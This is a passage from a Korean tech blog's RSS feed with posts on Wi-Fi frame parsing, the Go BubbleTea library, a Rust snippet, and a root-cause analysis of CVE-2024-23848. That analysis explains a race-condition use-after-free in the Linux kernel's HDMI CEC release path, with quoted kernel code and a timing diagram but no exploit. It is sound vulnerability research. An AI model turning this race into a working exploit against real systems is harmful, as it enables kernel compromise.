&lt;p&gt;물론, 여기서 제공한 예제들은 (심지어 완전한 예제 코드라고 지칭한 것도) 한정적인 목적에만 부합하도록 작성되어 있다. 따라서 이들이 완전한 파서로 기능하기 위해서는 다른 radiotap header 필드, 다른 프레임들, 다른 TLD 형식 값들도 고려되어야 할 것이다.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;He-Jun Lu and Yang Yu, “Research on WiFi Penetration Testing with Kali Linux,” Hindawi, vol. 2021, Article ID 5570001, 2021.&lt;/li&gt;
  &lt;li&gt;Vladimir Leiv, “What is the difference between Promiscuous and Monitor mode in Wireless Networks?,” 2013. [Online]. Available: https://security.stackexchange.com/questions/36997/what-is-the-difference-between-promiscuous-and-monitor-mode-in-wireless-networks, [Accessed Feb. 06, 2024].&lt;/li&gt;
  &lt;li&gt;“ipTIME N150UA2”, [Online]. Available: https://iptime.com/iptime/?page_id=11&amp;amp;pf=9&amp;amp;page=&amp;amp;pt=499&amp;amp;pd=1, [Accessed Feb. 06, 2024].&lt;/li&gt;
  &lt;li&gt;“ipTIME A2000UA-4dBi”, [Online]. Available: https://iptime.com/iptime/?page_id=11&amp;amp;pf=8&amp;amp;page=&amp;amp;pt=248&amp;amp;pd=1, [Accessed Feb. 06 2024].&lt;/li&gt;
  &lt;li&gt;“Ubuntu 22.04.3 LTS (Jammy Jellyfish),” 2022. [Online]. Available: https://releases.ubuntu.com/jammy/, [Accessed Feb. 06, 2024].&lt;/li&gt;
  &lt;li&gt;“dmesg(1) – Linux manual page,” 2023. [Online]. Available: https://man7.org/linux/man-pages/man1/dmesg.1.html, [Accessed Feb. 06, 2024].&lt;/li&gt;
  &lt;li&gt;“ioctl(2) – Linux manual page,” [Online]. Available: https://man7.org/linux/man-pages/man2/ioctl.2.html, [Accessed Feb. 06, 2024].&lt;/li&gt;
  &lt;li&gt;Jean Tourrilhes, “Wireless Extensions for Linux,” 1997. [Online]. Available: https://hewlettpackard.github.io/wireless-tools/Linux.Wireless.Extensions.html, [Accessed Feb. 07, 2024].&lt;/li&gt;
  &lt;li&gt;“netdevice(7) – Linux manual page,” [Online]. Available: https://man7.org/linux/man-pages/man7/netdevice.7.html, [Accessed Feb. 07, 2024].&lt;/li&gt;
  &lt;li&gt;torvalds, “Linux kernel,” 2024. [Online]. Available: https://github.com/torvalds/linux, [Accessed Feb. 07, 2024].&lt;/li&gt;
  &lt;li&gt;“통신비밀보호법”, 법무부(공공형사과) 및 과학기술정보통신부(통신자원정책과), 2022. [Online]. Available: https://www.law.go.kr/%EB%B2%95%EB%A0%B9/%ED%86%B5%EC%8B%A0%EB%B9%84%EB%B0%80%EB%B3%B4%ED%98%B8%EB%B2%95, [Accessed Feb. 07, 2024].&lt;/li&gt;
  &lt;li&gt;Nico Waisman, “Anatomy of a Coffee Bean (Wireless Vulnerabilities in Linux Kernel),” 2019. [Online]. Available: https://securitylab.github.com/research/anatomy-of-a-coffee-bean-wireless-vulnerabilities-in-linux-kernel/, [Accessed Feb. 08, 20224].&lt;/li&gt;
  &lt;li&gt;“Radiotap,” [Online]. Available: https://www.radiotap.org/, [Accessed Feb. 08, 2024].&lt;/li&gt;
  &lt;li&gt;2N(nms200299), “[802.11] RadioTab Header(헤더) 분석”, 2021. [Online]. Available: https://blog.naver.com/nms200299/222267279476, [Accessed Feb. 08, 2024].&lt;/li&gt;
  &lt;li&gt;“802.11 MAC Frame, WLAN MAC Frame 802.11 MAC 프레임”, 정보통신기술용어해설. [Online]. Available: http://www.ktword.co.kr/test/view/view.php?m_temp1=3352, [Accessed Feb. 07, 2024].&lt;/li&gt;
  &lt;li&gt;ccbrown, “Compact C Hex Dump Function w/ASCII,” [Online]. Available: https://gist.github.com/ccbrown/9722406, [Accessed Feb. 08, 2024].&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Thu, 08 Feb 2024 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Monitor-Mode-To-Wireless-Frame-Analysis</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Monitor-Mode-To-Wireless-Frame-Analysis</guid>
      </item>
    
      <item>
        <title>Go - TUI 라이브러리 BubbleTea</title>
        <description>&lt;h2 id=&quot;개요&quot;&gt;개요&lt;/h2&gt;

&lt;p&gt;Go에는 &lt;a href=&quot;pkg.go.dev&quot;&gt;라이브러리 사이트&lt;/a&gt;를 통해 여러 라이브러리를 검색할 수 있다.&lt;/p&gt;

&lt;p&gt;하지만 검색 사이트의 성능이 좋지 않아, 대부분 어떤 상황에 어떤 라이브러리가 좋은지 찾기 어려우며, 라이브러리를 찾아도 사용법을 모를 떄가 많다.&lt;/p&gt;

&lt;p&gt;오늘은 BubbleTea Go TUI 라이브러리를 소개하고, 이에 대한 사용법을 소개한다.&lt;/p&gt;

&lt;h2 id=&quot;소개&quot;&gt;소개&lt;/h2&gt;

&lt;p&gt;BubbleTea는 &lt;a href=&quot;charm.sh&quot;&gt;charm.sh&lt;/a&gt;에서 만든 TUI 라이브러리로, &lt;a href=&quot;charm.sh&quot;&gt;charm.sh&lt;/a&gt;의 여러 라이브러리 중 가장 주요하게 사용되는 라이브러리 입니다.&lt;/p&gt;

&lt;p&gt;해당 라이브러리 외에도 &lt;a href=&quot;charm.sh&quot;&gt;charm.sh&lt;/a&gt;에서 텍스트 스타일링 라이브러리(&lt;a href=&quot;https://github.com/charmbracelet/lipgloss&quot;&gt;LipGloss&lt;/a&gt;), 컴포넌트 라이브러리(&lt;a href=&quot;https://github.com/charmbracelet/bubbles&quot;&gt;Bubbles&lt;/a&gt;)등을 찾을 수 있으며, 간단한 입력 폼을 만들때는 폼 프레임워크(&lt;a href=&quot;https://github.com/charmbracelet/huh&quot;&gt;Hug&lt;/a&gt;)를 이용할 수 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;설치&quot;&gt;설치&lt;/h2&gt;

&lt;p&gt;BubbleTea는 사용하고자 하는 Go 프로젝트 폴더에서, 터미널로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;go get github.com/charmbracelet/bubbletea&lt;/code&gt; 를 입력해 설치할 수 있으며,&lt;/p&gt;

&lt;p&gt;보통 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;import tea &quot;github.com/charmbracelet/bubbletea&quot;&lt;/code&gt;를 통해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tea&lt;/code&gt;로 단축하여 사용합니다.&lt;/p&gt;

&lt;h2 id=&quot;사용법&quot;&gt;사용법&lt;/h2&gt;

&lt;p&gt;BubbleTea를 실행하는 방법은, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tea.Model&lt;/code&gt;을 구현하고 있는 타입을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tea.NewProgram(model).Run()&lt;/code&gt;명령을 통해 사용할 수 있다.&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;// 데이터들이 이곳에 들어갑니다.&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Cmd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;// 초기화해주는 함수, 일반적으로는 nil을 사용&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;// 입력이 일어났을 때, msg로 어떤 입력이 들어왔는지 들어온다&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;// 로직을 처리한 후, 값을 수정하여 m 객체를 리턴한다.&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;KeyMsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ctrl+c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;// 종료&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;tab&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;// 다음&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;shift+tab&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;// 뒤로가기&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MouseMsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;// ...&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;// return m, tea.Quit 로 프로그램을 종료시킬수도 있다. 하지만 그 외 다른 명령어들은 별로 없는 듯 하다.&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;View&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;// 연산된 값을 가지고 출력할 내용을 반환한다.&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;// 이곳에서 로그를 찍거나 출력을 하면 TUI가 깨지게 된다.&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위와 같은 방식으로 TUI를 제작할 수 있으며, 이후 자유롭게 출력할 내용을 정하거나, 입력에 따라 연산을 진행할 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;기능은 많이 없지만 필요한건 있는 듯 하다.&lt;/p&gt;

  &lt;p&gt;추가적으로 필요한 내용이 있으면 직접 작서애향 할 것 같다.&lt;/p&gt;

  &lt;p&gt;무엇보다 버튼을 누르지 않으면 View가 업데이트 되지 않아서 별로였다.&lt;/p&gt;

  &lt;p&gt;누르지 않았을 때 View를 업데이트하려면 몇 이벤트를 던져야 할 듯 하다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Sat, 03 Feb 2024 04:17:22 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Go-BubbleTea/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Go-BubbleTea/</guid>
      </item>
    
      <item>
        <title>CVE-2024-23848</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Introduction&lt;/li&gt;
  &lt;li&gt;Background&lt;/li&gt;
  &lt;li&gt;Root Cause Analysis&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;본 취약점은 linux의 HDMI Consumer Electronics Control (CEC) framework에서 발생한 취약점으로, CEC 디바이스를 release할 때 적절한 lock이 걸려 있지 않아 발생하였다[1, 2].&lt;/p&gt;

&lt;p&gt;CEC는 HDMI에서 사용되는 프로토콜 중 하나로, HDMI connectors는 이를 위한 핀을 하나 제공한다. 이 프로토콜은 HDMI 케이블로 연결된 디바이스들 간의 통신에 사용된다[3].&lt;/p&gt;

&lt;p&gt;CEC를 사용하기 위해서는 관련 디바이스 파일을 열어야 하며, 특정 동작의 경우 관련 권한이 요구될 수 있다. CEC를 사용하는 디바이스들은 CEC message를 송수신하여 통신하게 된다[3].&lt;/p&gt;

&lt;p&gt;CEC message는 큐에 저장되었다가 송수신되는데, 이 큐는 CEC filehandle의 멤버로 존재한다. 그런데 CEC 디바이스를 release할 때 CEC filehandle에 대한 lock이 존재하지 않아 race condition이 발생할 수 있다. 그리고 release 과정에서 filehandle이 free되므로 UAF가 발생할 수 있다[2, 4].&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;
&lt;p&gt;CEC는 HDMI로 연결된 디바이스들이 통신하기 위한 프로토콜로, CEC message를 사용하여 통신하게 된다[3, 4].&lt;/p&gt;

&lt;p&gt;CEC를 사용하는 방법은 다른 디바이스를 사용하는 방법과 다르지 않다. 즉, 디바이스 파일을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;open&lt;/code&gt; system call을 사용해서 열고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; system call을 사용하여 디바이스를 제어하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;close&lt;/code&gt; system call을 사용해서 디바이스를 release하는 것이다. 이 중 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; system call을 호출할 때 사용 가능한 command 중 CEC message와 관련된 것은 다음과 같다[2]:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@ CEC_ADAP_S_PHYS_ADDR: Sets a new physical address; it requires CEC_CAP_PHYS_ADDR and file descriptor to be in initiator mode

@ CEC_S_MODE: There are Initiator modes and Follower modes; Initiator mode is CEC_MODE_NO_INITIATOR, CEC_MODE_INITIATOR (default), CEC_MODE_EXCL_INITIATOR

@ CEC_RECEIVE: Received messasge can be a message received form another CEC device or the result of an earlier non-blocking transmit

@ CEC_TRANSMIT: Send CEC message; it requires CEC_CAP_TRANSMIT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이때 수신된 CEC message를 큐에 추가하는 과정은 커널 내부 스레드로 동작한다. 이는 다음 call trace를 통해 알 수 있다[4]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;ioctl() /* system call with CEC_ADP_S_PHYS_ADDR command */
cec_ioctl() /* with CEC_ADAP_S_PHYS_ADDR command */
cec_adap_s_phys_addr()
__cec_s_phys_addr()
cec_adap_enable()
adap-&amp;gt;ops-&amp;gt;adap_enable() /* this is cec_pin_adap_enable() */
kthread_run() /* with cec_pin_thread_func(), it works as a thread */
cec_received_msg_ts()
cec_receive_notify()
cec_queue_msg_fh()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그리고 다음 코드를 통해 수신된 CEC message가 큐에 저장됨을 알 수 있다[4]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/*
 * Queue a new message for this filehandle.
 *
 * We keep a queue of at most CEC_MAX_MSG_RX_QUEUE_SZ messages. If the
 * queue becomes full, then drop the oldest message and keep track
 * of how many messages we&apos;ve dropped.
 */
static void cec_queue_msg_fh(struct cec_fh *fh, const struct cec_msg *msg)
{
	static const struct cec_event ev_lost_msgs = {
		.event = CEC_EVENT_LOST_MSGS,
		.flags = 0,
		{
			.lost_msgs = { 1 },
		},
	};
	struct cec_msg_entry *entry;

	mutex_lock(&amp;amp;fh-&amp;gt;lock);
	entry = kmalloc(sizeof(*entry), GFP_KERNEL);
	if (entry) {
		entry-&amp;gt;msg = *msg;
		/* Add new msg at the end of the queue */
		list_add_tail(&amp;amp;entry-&amp;gt;list, &amp;amp;fh-&amp;gt;msgs);

		if (fh-&amp;gt;queued_msgs &amp;lt; CEC_MAX_MSG_RX_QUEUE_SZ) {
			/* All is fine if there is enough room */
			fh-&amp;gt;queued_msgs++;
			mutex_unlock(&amp;amp;fh-&amp;gt;lock);
			wake_up_interruptible(&amp;amp;fh-&amp;gt;wait);
			return;
		}

		/*
		 * if the message queue is full, then drop the oldest one and
		 * send a lost message event.
		 */
		entry = list_first_entry(&amp;amp;fh-&amp;gt;msgs, struct cec_msg_entry, list);
		list_del(&amp;amp;entry-&amp;gt;list);
		kfree(entry);
	}
	mutex_unlock(&amp;amp;fh-&amp;gt;lock);

	/*
	 * We lost a message, either because kmalloc failed or the queue
	 * was full.
	 */
	cec_queue_event_fh(fh, &amp;amp;ev_lost_msgs, ktime_get_ns());
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;CEC device는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;close&lt;/code&gt; system call이 호출되었을 때 release된다. 이때 메모리를 정리하는 작업이 수행되며, 이는 다음 코드를 통해 알 수 있다[4]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* Override for the release function */
static int cec_release(struct inode *inode, struct file *filp)
{
	struct cec_devnode *devnode = cec_devnode_data(filp);
	struct cec_adapter *adap = to_cec_adapter(devnode);
	struct cec_fh *fh = filp-&amp;gt;private_data;
	unsigned int i;

	mutex_lock(&amp;amp;adap-&amp;gt;lock);
	if (adap-&amp;gt;cec_initiator == fh)
		adap-&amp;gt;cec_initiator = NULL;
	if (adap-&amp;gt;cec_follower == fh) {
		adap-&amp;gt;cec_follower = NULL;
		adap-&amp;gt;passthrough = false;
	}
	if (fh-&amp;gt;mode_follower == CEC_MODE_FOLLOWER)
		adap-&amp;gt;follower_cnt--;
	if (fh-&amp;gt;mode_follower == CEC_MODE_MONITOR_PIN)
		cec_monitor_pin_cnt_dec(adap);
	if (fh-&amp;gt;mode_follower == CEC_MODE_MONITOR_ALL)
		cec_monitor_all_cnt_dec(adap);
	mutex_unlock(&amp;amp;adap-&amp;gt;lock);

	mutex_lock(&amp;amp;devnode-&amp;gt;lock);
	mutex_lock(&amp;amp;devnode-&amp;gt;lock_fhs);
	list_del(&amp;amp;fh-&amp;gt;list);
	mutex_unlock(&amp;amp;devnode-&amp;gt;lock_fhs);
	mutex_unlock(&amp;amp;devnode-&amp;gt;lock);

	/* Unhook pending transmits from this filehandle. */
	mutex_lock(&amp;amp;adap-&amp;gt;lock);
	while (!list_empty(&amp;amp;fh-&amp;gt;xfer_list)) {
		struct cec_data *data =
			list_first_entry(&amp;amp;fh-&amp;gt;xfer_list, struct cec_data, xfer_list);

		data-&amp;gt;blocking = false;
		data-&amp;gt;fh = NULL;
		list_del_init(&amp;amp;data-&amp;gt;xfer_list);
	}
	mutex_unlock(&amp;amp;adap-&amp;gt;lock);
	while (!list_empty(&amp;amp;fh-&amp;gt;msgs)) {
		struct cec_msg_entry *entry =
			list_first_entry(&amp;amp;fh-&amp;gt;msgs, struct cec_msg_entry, list);

		list_del(&amp;amp;entry-&amp;gt;list);
		kfree(entry);
	}
	for (i = CEC_NUM_CORE_EVENTS; i &amp;lt; CEC_NUM_EVENTS; i++) {
		while (!list_empty(&amp;amp;fh-&amp;gt;events[i])) {
			struct cec_event_entry *entry =
				list_first_entry(&amp;amp;fh-&amp;gt;events[i],
						 struct cec_event_entry, list);

			list_del(&amp;amp;entry-&amp;gt;list);
			kfree(entry);
		}
	}
	kfree(fh);

	cec_put_device(devnode);
	filp-&amp;gt;private_data = NULL;
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;root-cause-analysis&quot;&gt;Root Cause Analysis&lt;/h2&gt;
&lt;p&gt;상기의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cec_release&lt;/code&gt; 함수의 코드를 다시 살펴보면, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fh&lt;/code&gt;에 대한 lock이 없음을 알 수 있다[4].&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* Override for the release function */
static int cec_release(struct inode *inode, struct file *filp)
{
	struct cec_devnode *devnode = cec_devnode_data(filp);
	struct cec_adapter *adap = to_cec_adapter(devnode);
	struct cec_fh *fh = filp-&amp;gt;private_data;
	unsigned int i;

	mutex_lock(&amp;amp;adap-&amp;gt;lock);
	
	/* ... */
	
	mutex_unlock(&amp;amp;adap-&amp;gt;lock);

	mutex_lock(&amp;amp;devnode-&amp;gt;lock);
	mutex_lock(&amp;amp;devnode-&amp;gt;lock_fhs);
	list_del(&amp;amp;fh-&amp;gt;list);
	mutex_unlock(&amp;amp;devnode-&amp;gt;lock_fhs);
	mutex_unlock(&amp;amp;devnode-&amp;gt;lock);

	/* Unhook pending transmits from this filehandle. */
	mutex_lock(&amp;amp;adap-&amp;gt;lock);
	
	/* ... */
	
	mutex_unlock(&amp;amp;adap-&amp;gt;lock);
	
	/* ... */
	
	kfree(fh);

	cec_put_device(devnode);
	filp-&amp;gt;private_data = NULL;
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그런데 상기의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cec_queue_msg_fh&lt;/code&gt; 함수에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fh&lt;/code&gt;에 lock을 걸고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fh-&amp;gt;msgs&lt;/code&gt;에 접근하여 큐에 메시지를 추가하는 작업이 존재한다[4].&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/*
 * Queue a new message for this filehandle.
 *
 * We keep a queue of at most CEC_MAX_MSG_RX_QUEUE_SZ messages. If the
 * queue becomes full, then drop the oldest message and keep track
 * of how many messages we&apos;ve dropped.
 */
static void cec_queue_msg_fh(struct cec_fh *fh, const struct cec_msg *msg)
{
	static const struct cec_event ev_lost_msgs = {
		.event = CEC_EVENT_LOST_MSGS,
		.flags = 0,
		{
			.lost_msgs = { 1 },
		},
	};
	struct cec_msg_entry *entry;

	mutex_lock(&amp;amp;fh-&amp;gt;lock);
	entry = kmalloc(sizeof(*entry), GFP_KERNEL);
	if (entry) {
		entry-&amp;gt;msg = *msg;
		/* Add new msg at the end of the queue */
		list_add_tail(&amp;amp;entry-&amp;gt;list, &amp;amp;fh-&amp;gt;msgs);
		
		/* ... */
	}
	mutex_unlock(&amp;amp;fh-&amp;gt;lock);

	/*
	 * We lost a message, either because kmalloc failed or the queue
	 * was full.
	 */
	cec_queue_event_fh(fh, &amp;amp;ev_lost_msgs, ktime_get_ns());
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그럼 우리는 상기의 두 함수를 race 시켜서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fh&lt;/code&gt;가 free된 상태에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fh-&amp;gt;msgs&lt;/code&gt;에 접근하도록 만들 수 있을 것이다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   thread 1     |                      thread 2
---------------------------------------------------------------------   
   kfree(fh)    |
                |   mutex_lock(fh);
                |   list_add_tail(&amp;amp;entry-&amp;gt;list, &amp;amp;fh-&amp;gt;msgs); ---&amp;gt; UAF
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;따라서 race condition에 의한 UAF가 발생할 수 있다.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;“CVE-2024-23848 Detail,” 2024. [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2024-23848, [Accessed Jan. 30, 2024].&lt;/li&gt;
  &lt;li&gt;Hans Verkuil, “[Linux Kernel Bugs] KASAN: slab-use-after-free Read in cec_queue_msg_fh and 4 other crashes in the cec device (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cec_ioctl&lt;/code&gt;),” 2024. Available: https://lore.kernel.org/lkml/e9f42704-2f99-4f2c-ade5-f952e5fd53e5%40xs4all.nl/, [Accessed Jan. 30, 2024].&lt;/li&gt;
  &lt;li&gt;“Linux Media Subsystem Documentation,” 2016. [Online]. Available: https://www.kernel.org/doc/html/v4.9/media/uapi/cec/cec-intro.html, [Accessed Jan. 31, 2024].&lt;/li&gt;
  &lt;li&gt;torvalds, “Linux kernel,” 2024. [Online]. Available: https://github.com/torvalds/linux, [Accessed Jan. 30, 2024].&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Fri, 02 Feb 2024 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/CVE-2024-23848</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/CVE-2024-23848</guid>
      </item>
    
      <item>
        <title>Rust - 정적 코드 분석</title>
        <description>&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;p&gt;Rust 코드를 자면서, 매크로 이용 중 인라인에서 A trait을 impl하고 있는지 확인을 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static_assertion&lt;/code&gt; 분석 중 찾아낸 응용법입니다.&lt;/p&gt;

